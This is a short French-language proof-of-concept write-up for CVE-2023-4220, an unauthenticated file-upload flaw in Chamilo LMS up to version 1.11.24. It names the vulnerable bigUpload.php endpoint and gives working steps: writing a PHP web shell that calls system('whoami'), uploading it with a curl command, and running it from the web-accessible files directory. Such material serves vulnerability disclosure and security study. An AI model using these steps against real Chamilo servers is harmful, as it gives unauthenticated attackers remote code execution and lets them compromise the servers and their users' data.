
Exploit de preuve de concept pour CVE-2023-4220 : téléchargement de fichier non authentifié dans Chamilo LMS permettant du XSS stocké et une exécution de code à distance via le déploiement d'un web shell.
Téléchargement de fichier sans restriction dans la fonctionnalité de téléchargement de gros fichiers dans /main/inc/lib/javascript/bigupload/inc/bigUpload.php dans Chamilo LMS <= v1.11.24 permet aux attaquants non authentifiés d'effectuer des attaques de cross-site scripting stocké et d'obtenir une exécution de code à distance via le téléchargement d'un web shell.
La fonctionnalité de téléchargement de gros fichiers via /main/inc/lib/javascript/bigupload/inc/bigUpload.php permet de télécharger des fichiers arbitraires dans le répertoire /main/inc/lib/javascript/bigupload/files à la racine web.
Si le répertoire /main/inc/lib/javascript/bigupload/files existe, nous pouvons télécharger un fichier arbitraire comme ;
Créez un fichier php malveillant echo '<?php system("whoami"); ?>' > dollarboysushil.php
.png)
Nous pouvons ensuite télécharger ce fichier en exécutant la commande suivante
`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
.png)
Nous pouvons vérifier que notre fichier a été téléchargé en visitant le répertoire /main/inc/lib/javascript/bigupload/files
.png)
Et nous pouvons l'exécuter en cliquant sur le fichier php, ce qui donne la sortie de la commande whoami
.png)